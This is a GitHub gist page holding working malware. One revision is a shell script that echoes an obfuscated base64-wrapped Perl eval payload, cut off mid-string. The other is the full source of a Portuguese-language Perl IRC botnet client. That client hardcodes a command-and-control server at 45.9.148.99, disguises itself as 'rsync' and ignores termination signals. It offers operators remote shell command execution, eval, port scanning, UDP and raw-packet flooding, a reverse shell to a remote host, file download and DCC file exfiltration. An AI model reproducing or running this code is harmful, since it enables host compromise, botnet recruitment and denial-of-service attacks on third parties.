Last active
February 2, 2022 13:24
-
-
Save duzvik/2e60a43ef91b3d8a11974fad41d14ba5 to your computer and use it in GitHub Desktop.
Revisions
-
duzvik revised this gist
Feb 2, 2022 . 1 changed file with 923 additions and 5 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,5 +1,923 @@ my $processo = 'rsync'; $servidor='45.9.148.99' unless $servidor; my $porta='443'; my @canais=("#007"); my @adms=("polly","molly"); my @auth=("localhost"); my $linas_max=6; my $sleep=3; my $nick = getnick(); my $ircname = getnick(); my $realname = (`uname -a`); my $acessoshell = 1; my $prefixo = "! "; my $estatisticas = 0; my $pacotes = 1; my $VERSAO = '0.2a'; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; chdir("/"); $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."\0"; my $pid=fork; exit if $pid; die "Problema com o fork: $!" unless defined($pid); my %irc_servers; my %DCC; my $dcc_sel = new IO::Select->new(); sub getnick { return "x".int(rand(9000)).int(rand(9000)); } sub getident { my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php"); my $identchance = int(rand(99000)); if ($identchance > 30) { return $nick; } else { return $retornoident; } return $retornoident; } sub getname { my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php"); return $retornoname; } sub getident2 { my $length=shift; $length = 3 if ($length < 3); my @chars=('a'..'z','A'..'Z','1'..'9'); foreach (1..$length) { $randomstring.=$chars[rand @chars]; } return $randomstring; } sub getstore ($$) { my $url = shift; my $file = shift; $http_stream_out = 1; open(GET_OUTFILE, "> $file"); %http_loop_check = (); _get($url); close GET_OUTFILE; return $main::http_get_result; } sub _get { my $url = shift; my $proxy = ""; grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV; if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) { my $host = $1; my $port = $2 || 80; my $path = $3; $path = "/" unless defined($path); return _trivial_http_get($host, $port, $path); } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) { my $host = $1; my $port = $2; my $path = $url; return _trivial_http_get($host, $port, $path); } else { return undef; } } sub _trivial_http_get { my($host, $port, $path) = @_; my($AGENT, $VERSION, $p); $AGENT = "get-minimal"; $VERSION = "20000118"; $path =~ s/ /%20/g; require IO::Socket; local($^W) = 0; my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Timeout => 60) || return; $sock->autoflush; my $netloc = $host; $netloc .= ":$port" if $port != 80; my $request = "GET $path HTTP/1.0\015\012" . "Host: $netloc\015\012" . "User-Agent: $AGENT/$VERSION/u\015\012"; $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache); $request .= "\015\012"; print $sock $request; my $buf = ""; my $n; my $b1 = ""; while ($n = sysread($sock, $buf, 8*1024, length($buf))) { if ($b1 eq "") { $b1 = $buf; $buf =~ s/.+?\015?\012\015?\012//s; } if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; } } return undef unless defined($n); $main::http_get_result = 200; if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) { $main::http_get_result = $1; if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/ ) { my $url = $1; return undef if $http_loop_check{$url}++; return _get($url); } return undef unless $main::http_get_result =~ /^2/; } return $buf; } $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 2; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); &DCC::connections; my @ready = $sel_cliente->can_read(0.6); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001"); } elsif ($args =~ /^\001PING\s+(\d+)\001$/) { notice("$pn", "\001PONG\001"); } elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { $meunick = getnick(); nick("$meunick"); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal"); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($funcarg =~ /^portscan (.*)/) { my $hostip="$1"; my @portas=("21","22","23","25","53","80","110","143","6665"); my (@aberta, %porta_banner); foreach my $porta (@portas) { my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); if ($scansock) { push (@aberta, $porta); $scansock->close; } } if (@aberta) { sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta"); } else { sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada."); } } elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) { getstore("$1", "$2"); sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas); } elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) { my $hostname="$1"; my $portainicial = "$2"; my $portafinal = "$3"; my (@abertas, %porta_banner); foreach my $porta ($portainicial..$portafinal) { my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4); if ($scansock) { push (@abertas, $porta); $scansock->close; if ($estatisticas) { sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname"); } } } if (@abertas) { sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas"); } else { sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada."); } } elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) { return unless $pacotes; socket(Tr0x, PF_INET, SOCK_DGRAM, 17); my $alvo=inet_aton("$1"); my $porta = "$2"; my $tempo = "$3"; my $pacote; my $pacotese; my $fim = time + $tempo; my $pacota = 1; while (($pacota == "1") && ($pacotes == "1")) { $pacota = 0 if ((time >= $fim) && ($tempo != "0")); $pacote=$rand x $rand x $rand; $porta = int(rand 65000) +1 if ($porta == "0"); send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1"); } if ($estatisticas) { sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1"); } } elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) { return unless $pacotes; socket(Tr0x, PF_INET, SOCK_DGRAM, 17); my $faixaip="$1"; my $porta = "$2"; my $tempo = "$3"; my $pacote; my $pacotes; my $fim = time + $tempo; my $pacota = 1; my $alvo; while ($pacota == "1") { $pacota = 0 if ((time >= $fim) && ($tempo != "0")); for (my $faixa = 1; $faixa <= 255; $faixa++) { $alvo = inet_aton("$faixaip.$faixa"); $pacote=$rand x $rand x $rand; $porta = int(rand 65000) +1 if ($porta == "0"); send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1"); if ($faixa >= 255) { $faixa = 1; } } } if ($estatisticas) { sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo"); } } elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) { my $host = "$1"; my $porta = "$2"; my $proto = getprotobyname('tcp'); my $iaddr = inet_aton($host); my $paddr = sockaddr_in($porta, $iaddr); my $shell = "/bin/sh -i"; if ($^O eq "MSWin32") { $shell = "cmd.exe"; } socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; connect(SOCKET, $paddr) or die "connect: $!"; open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system("$shell"); close(STDIN); close(STDOUT); close(STDERR); if ($estatisticas) { sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta"); } } elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) { return unless $pacotes; my ($dtime, %pacotes) = attacker("$1", "$2", "$3"); $dtime = 1 if $dtime == 0; my %bytes; $bytes{igmp} = $2 * $pacotes{igmp}; $bytes{icmp} = $2 * $pacotes{icmp}; $bytes{o} = $2 * $pacotes{o}; $bytes{udp} = $2 * $pacotes{udp}; $bytes{tcp} = $2 * $pacotes{tcp}; unless ($estatisticas) { sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde."); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o})); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o})); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps"); } } exit; } } } sub ircase { my ($kem, $printl, $case) = @_; if ($case =~ /^join (.*)/) { j("$1"); } elsif ($case =~ /^part (.*)/) { p("$1"); } elsif ($case =~ /^rejoin\s+(.*)/) { my $chan = $1; if ($chan =~ /^(\d+) (.*)/) { for (my $ca = 1; $ca <= $1; $ca++ ) { p("$2"); j("$2"); } } else { p("$chan"); j("$chan"); } } elsif ($case =~ /^op/) { op("$printl", "$kem") if $case eq "op"; my $oarg = substr($case, 3); op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } elsif ($case =~ /^deop/) { deop("$printl", "$kem") if $case eq "deop"; my $oarg = substr($case, 5); deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } elsif ($case =~ /^voice/) { voice("$printl", "$kem") if $case eq "voice"; $oarg = substr($case, 6); voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } elsif ($case =~ /^devoice/) { devoice("$printl", "$kem") if $case eq "devoice"; $oarg = substr($case, 8); devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } elsif ($case =~ /^msg\s+(\S+) (.*)/) { msg("$1", "$2"); } elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { msg("$2", "$3"); } } elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { ctcp("$2", "$3"); } } elsif ($case =~ /^ctcp\s+(\S+) (.*)/) { ctcp("$1", "$2"); } elsif ($case =~ /^invite\s+(\S+) (.*)/) { invite("$1", "$2"); } elsif ($case =~ /^nick (.*)/) { nick("$1"); } elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) { conectar("$2", "$1", 6667); } elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) { DCC::SEND("$1", "$2"); } elsif ($case =~ /^raw (.*)/) { sendraw("$1"); } elsif ($case =~ /^eval (.*)/) { eval "$1"; } elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) { sleep int(rand($2)); j("$1"); } elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) { sleep int(rand($2)); p("$1"); } elsif ($case =~ /^sair/) { quit(); } elsif ($case =~ /^novonick/) { my $novonick = getnick(); nick("$novonick"); } elsif ($case =~ /^estatisticas (.*)/) { if ($1 eq "on") { $estatisticas = 1; msg("$printl", "Estat.sticas ativadas!"); } elsif ($1 eq "off") { $estatisticas = 0; msg("$printl", "Estat.sticas desativadas!"); } } elsif ($case =~ /^pacotes (.*)/) { if ($1 eq "on") { $pacotes = 1; msg("$printl", "Pacotes ativados!") if ($estatisticas == "1"); } elsif ($1 eq "off") { $pacotes = 0; msg("$printl", "Pacotes desativados!") if ($estatisticas == "1"); } } } sub shell { return unless $acessoshell; my $printl=$_[0]; my $comando=$_[1]; if ($comando =~ /cd (.*)/) { chdir("$1") || msg("$printl", "Diret.rio inexistente!"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @resp=`$comando 2>&1 3>&1`; my $c=0; foreach my $linha (@resp) { $c++; chop $linha; sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); if ($c >= "$linas_max") { $c=0; sleep $sleep; } } exit; } } } sub attacker { my $iaddr = inet_aton($_[0]); my $msg = 'B' x $_[1]; my $ftime = $_[2]; my $cp = 0; my (%pacotes); $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; return(undef) if $cp == 4; my $itime = time; my ($cur_time); while ( 1 ) { for (my $porta = 1; $porta <= 65535; $porta++) { $cur_time = time - $itime; last if $cur_time >= $ftime; send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1); send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1); send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1); send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1); for (my $pc = 3; $pc <= 255;$pc++) { next if $pc == 6; $cur_time = time - $itime; last if $cur_time >= $ftime; socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1); } } last if $cur_time >= $ftime; } return($cur_time, %pacotes); } sub action { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001"); } sub ctcp { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :\001$_[1]\001"); } sub msg { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :$_[1]"); } sub notice { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); } sub op { return unless $#_ == 1; sendraw("MODE $_[0] +o $_[1]"); } sub deop { return unless $#_ == 1; sendraw("MODE $_[0] -o $_[1]"); } sub hop { return unless $#_ == 1; sendraw("MODE $_[0] +h $_[1]"); } sub dehop { return unless $#_ == 1; sendraw("MODE $_[0] +h $_[1]"); } sub voice { return unless $#_ == 1; sendraw("MODE $_[0] +v $_[1]"); } sub devoice { return unless $#_ == 1; sendraw("MODE $_[0] -v $_[1]"); } sub ban { return unless $#_ == 1; sendraw("MODE $_[0] +b $_[1]"); } sub unban { return unless $#_ == 1; sendraw("MODE $_[0] -b $_[1]"); } sub kick { return unless $#_ == 1; sendraw("KICK $_[0] $_[1] :$_[2]"); } sub modo { return unless $#_ == 0; sendraw("MODE $_[0] $_[1]"); } sub mode { modo(@_); } sub j { &join(@_); } sub join { return unless $#_ == 0; sendraw("JOIN $_[0]"); } sub p { part(@_); } sub part {sendraw("PART $_[0]");} sub nick { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub invite { return unless $#_ == 1; sendraw("INVITE $_[1] $_[0]"); } sub topico { return unless $#_ == 1; sendraw("TOPIC $_[0] $_[1]"); } sub topic { topico(@_); } sub whois { return unless $#_ == 0; sendraw("WHOIS $_[0]"); } sub who { return unless $#_ == 0; sendraw("WHO $_[0]"); } sub names { return unless $#_ == 0; sendraw("NAMES $_[0]"); } sub away { sendraw("AWAY $_[0]"); } sub back { away(); } sub quit { sendraw("QUIT :$_[0]"); exit; } package DCC; sub connections { my @ready = $dcc_sel->can_read(1); foreach my $fh (@ready) { my $dcctipo = $DCC{$fh}{tipo}; my $arquivo = $DCC{$fh}{arquivo}; my $bytes = $DCC{$fh}{bytes}; my $cur_byte = $DCC{$fh}{curbyte}; my $nick = $DCC{$fh}{nick}; my $msg; my $nread = sysread($fh, $msg, 10240); if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) { $DCC{$fh}{status} = "Cancelado"; $DCC{$fh}{ftime} = time; $dcc_sel->remove($fh); $fh->close; next; } if ($dcctipo eq "get") { $DCC{$fh}{curbyte} += length($msg); my $cur_byte = $DCC{$fh}{curbyte}; open(FILE, ">> $arquivo"); print FILE "$msg" if ($cur_byte <= $bytes); close(FILE); my $packbyte = pack("N", $cur_byte); print $fh "$packbyte"; if ($bytes == $cur_byte) { $dcc_sel->remove($fh); $fh->close; $DCC{$fh}{status} = "Recebido"; $DCC{$fh}{ftime} = time; next; } } elsif ($dcctipo eq "send") { my $send = $fh->accept; $send->autoflush(1); $dcc_sel->add($send); $dcc_sel->remove($fh); $DCC{$send}{tipo} = 'sendcon'; $DCC{$send}{itime} = time; $DCC{$send}{nick} = $nick; $DCC{$send}{bytes} = $bytes; $DCC{$send}{curbyte} = 0; $DCC{$send}{arquivo} = $arquivo; $DCC{$send}{ip} = $send->peerhost; $DCC{$send}{porta} = $send->peerport; $DCC{$send}{status} = "Enviando"; open(FILE, "< $arquivo"); my $fbytes; read(FILE, $fbytes, 1024); print $send "$fbytes"; close FILE; } elsif ($dcctipo eq 'sendcon') { my $bytes_sended = unpack("N", $msg); $DCC{$fh}{curbyte} = $bytes_sended; if ($bytes_sended == $bytes) { $fh->close; $dcc_sel->remove($fh); $DCC{$fh}{status} = "Enviado"; $DCC{$fh}{ftime} = time; next; } open(SENDFILE, "< $arquivo"); seek(SENDFILE, $bytes_sended, 0); my $send_bytes; read(SENDFILE, $send_bytes, 1024); print $fh "$send_bytes"; close(SENDFILE); } } } sub SEND { my ($nick, $arquivo) = @_; unless (-r "$arquivo") { return(0); } my $dccark = $arquivo; $dccark =~ s/[.*\/](\S+)/$1/; my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'}; my $longip = unpack("N",inet_aton($meuip)); my @filestat = stat($arquivo); my $size_total=$filestat[7]; if ($size_total == 0) { return(0); } my ($porta, $sendsock); do { $porta = int rand(64511); $porta += 1024; $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock); } until $sendsock; $DCC{$sendsock}{tipo} = 'send'; $DCC{$sendsock}{nick} = $nick; $DCC{$sendsock}{bytes} = $size_total; $DCC{$sendsock}{arquivo} = $arquivo; &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total"); } sub GET { my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_; return(0) if (-e "$arquivo"); if (open(FILE, "> $arquivo")) { close FILE; } else { return(0); } my $dccip=fixaddr($dcclongip); return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1); my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0); $dccsock->autoflush(1); $dcc_sel->add($dccsock); $DCC{$dccsock}{tipo} = 'get'; $DCC{$dccsock}{itime} = time; $DCC{$dccsock}{nick} = $nick; $DCC{$dccsock}{bytes} = $bytes; $DCC{$dccsock}{curbyte} = 0; $DCC{$dccsock}{arquivo} = $arquivo; $DCC{$dccsock}{ip} = $dccip; $DCC{$dccsock}{porta} = $dccporta; $DCC{$dccsock}{status} = "Recebendo"; } sub Status { my $socket = shift; my $sock_tipo = $DCC{$socket}{tipo}; unless (lc($sock_tipo) eq "chat") { my $nick = $DCC{$socket}{nick}; my $arquivo = $DCC{$socket}{arquivo}; my $itime = $DCC{$socket}{itime}; my $ftime = time; my $status = $DCC{$socket}{status}; $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime}); my $d_time = $ftime-$itime; my $cur_byte = $DCC{$socket}{curbyte}; my $bytes_total = $DCC{$socket}{bytes}; my $rate = 0; $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0; my $porcen = ($cur_byte*100)/$bytes_total; my ($r_duv, $p_duv); if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) { $r_duv = $3; $r_duv++ if $4 >= 5; $rate = "$1\.$2"."$r_duv"; } if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) { $p_duv = $3; $p_duv++ if $4 >= 5; $porcen = "$1\.$2"."$p_duv"; } return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen"); } return(0); } sub fixaddr { my ($address) = @_; chomp $address; if ($address =~ /^\d+$/) { return inet_ntoa(pack "N", $address); } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { return $address; } elsif ($address =~ tr/a-zA-Z//) { return inet_ntoa(((gethostbyname($address))[4])[0]); } else { return; } } -
duzvik created this gist
Feb 2, 2022 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,5 @@ #!/bin/sh nohup ./stop>>/dev/null & sleep 5 echo "ZXZhbCB1bnBhY2sgdT0+cXtfIkZVWSgiMVA8Rl1DOTctUztSYF0oIj1SPFdFTjhSPFsiQEhEPFY1Uj1GRUQ7VyhdKVMwVStDRE4sMzBYK0NEWSlSIVU7RlFFPFcsQCknLUU8RzlJXzkmXVIuUElNPjJgRDwmXVI9JiRdKVMwVCxSPFsiRlVZKCQhQzg2WUE6NyxdKiIoQywjYFcoQkRbIkZVWSgkIUE5JlVTLzJAQjwmXUw7J0RCKyIpTV87VlFMPjIoSS5QSU0+MiFgODc1VDojVEgoRlFPOFYlTDomXVM9IihJLlBIKjs3REApJlFJO0YlUzdWVUE+I1RWLlBJTT4yYEQ8VlFFOTdgXSxTTCpfIkZVWSgiMU46Ni1LKCNUQDlWNVQ7RkVDOlJASS5QSU0+MmBEOjcpQztGJU05MmBdKCY9RT0mWUk4VkxIKjNMKjs3REApJylFODZRTjg2VUUoI1RAXyomIVU7RiVNOTJgTTg2YEkuUEgqOzdEQCkmJUM5Ny1TO1ctSDk2UUwoI1RALDNMKjs3REApJyFSOTY5ST4mXEAvMmBCKDJgQi5QSU0+MmBEOTctVF84NzFJPFcxSThWJVMoI1RALCNMKjs3REApJyFBOFZdVDk3LEAvMmBRLlBIKjs3REApJTklNEUtITNSYF0oIjxQK0MpQSlTTCoiQjEzMjQ9WylURS5fNSI9XSgjVEApVEUnM0RdMjEyPFsiQjEzMjQ9WylUQTU0Ij1dKCNUQClURSczRF0yMTI8WyJCMTMyND1bKVUxJTREVEc/MmBdKCI9KTFUWS80RDRHXy5QSEQ0VEUnPlI9IzIkUSQpV1RALzJgRzI0PS4zVSklKVNMKiklLSkxV0xHNCUsRz8yYF0oIj0pMVRZLzRENEcuUEgqPTctRSgkRS8uQ0kzO1YtS185NzBbIkc1UzkyITM7Vi1LOTcwWyJHNVM5MiEpM1NIWjRWNUw5Ni1ULlBJQzomMUk8QkBCK1IoSS5QSEQ8VjVSPUZFRDtXKF0oQjEhNEQ9NjZTIT1fKEIhSTlCYEQwNSknNUVMUDczTCopI2BdKEIxUDxGXUM5Ny1TO1IoTihFUFAoQ0wqOzdEQCknIUk5I1VGO1cpSy5QSUU+JkVUKCZFRigiMVA6NjBbXyJGMUk5MmBCNCcpTzhGUUU7NiRAOFZdTSgmXEA5Rl1SOlNIQCkiJEIoJzVOOyY1UzxSIUQ5NjlJO0Y1RCoiMVA6NjBJLlBIKjs3REApNkVSOFVdU185NylWOTcpUy5QSU0+MmBFMSQtIy5QSU0+MmBEOSYtQzdXLUU7ImBdKCZZRT1SISkzU0haNFY1TDk2LVQrM1lOOTc8SCozTCoiQEgqIkctVThCIUdfOTcxTjo2LUsoJ0wqKCIhUjk3MVU8RlhAKEdAQitGRU49IkFSODZZRCojRFAsI2BJKjJZSTtHMEg8RiVOOSJAWSwjYFAqMkRbIkdUKiJASVM9NihAXzlWNVQ6NjFFO0cwQD5QSEAoJlVZKCIxUjk3MU88RllPOjYxRTtHMEAvMmBGN1Y9RT0iQEI6JzFUPCNITytXPVc9UllNOjZZUDtXYE44Vl1NK1ctS18sMylQODYtSytWRUQ5NllUPFJZUDonYEIqM0wqKCIhTT4yYEQ6NjFFO0cxQzomJU44VjRALzIhSTtHMEg8RiVOOSJAWS4zYFAsIkRJLlBIQCgmRUZfKCJARDo2MUU7RzFDOiYlTjhWNEAvQmBTLCJEQD5QSEAoImBAKCcpRT0nNVI7QmBEO0ZFQzpTTCooIiFdKCY1TDxWNEA+UEhAKCJgQCgnKUU9JzVSXztCYEQ8RjVUO1cpTjtWRUQ5NllULlBIQCgnVCooIiFSOTcxVTxGWEApJylFPSZdUjtGXUk5JjVOPSNMKj8wSCo8VzVCKCY9RT0mWUE7NjRAPlBIQF8oJlVZKCIxUjk3MU88RllPO0YlTTkyYF0oIjk/OVY1VCoiKUg9JzFQLkJcTz1XPVcrRlVJO0chTzwiWUM7VlRPPFZMUSxHIUE4VkxPO0YlTTk3LE5fPCZBUChCRFsiQmBAPEY1VD03KU4oIjFSOTcxTzxGWU87RiVNOTNMKj8wSCo8VzVCKCY9RT0mRUQ5NllULEIhWyJCYEAoImBAKCJgQDs3REApJlFFXztGPVQ6I1VTOiZFRj0jTCooImBAKCJgQCgiYEQ7JjVOOVcxSCgjVEAsUiFJOUJgSCkmUUU7Rj1UOiJgXCgjLEkuUEgqKCJgQCgiYEAoIiFNPjIhYF84VkFBPEcsXSoiPUEpUlhOKVdIRysiPSEpUlhOKVVIRysiPFEpUlhOKVNERyozTCooImBAKCJgQCgiIUY7VylFODYtSCgiQFErQlhEOyY1TjlXMUhfKjBIQCgiYEAoImBAKCdMKigiYEAoImBAKCJgQCgiYEAoImBAKCIxUjg2WUQ7VlVTPScpSTtGPE4vMjFDOiYlUjxVTVI4NllEKCQhQzomJVI8VVRbXyJCYEAoImBAKCJgQD8wSEAoImBAKCJgQCgnKUU9JzVSO0JgRDxGJU45Jl1NPFcxUjo2WUcuUEldIkBJUz02KEA5VjVUPFcxTzxGNEAqIjBEKjBJW18iQmBAOzdEQCknNVI7ImBdKCctSDo2OVQuUEhAKCZVWSgiMUY6NlFFKCNUQDxWQUk5RzBbIkBIQCgiMUg9JzFQN1ctVDxGNUE7NV1PPTcwQC8yYFFfLlBIQCgmXVA5NlhIMVQ1NDdUXTU1J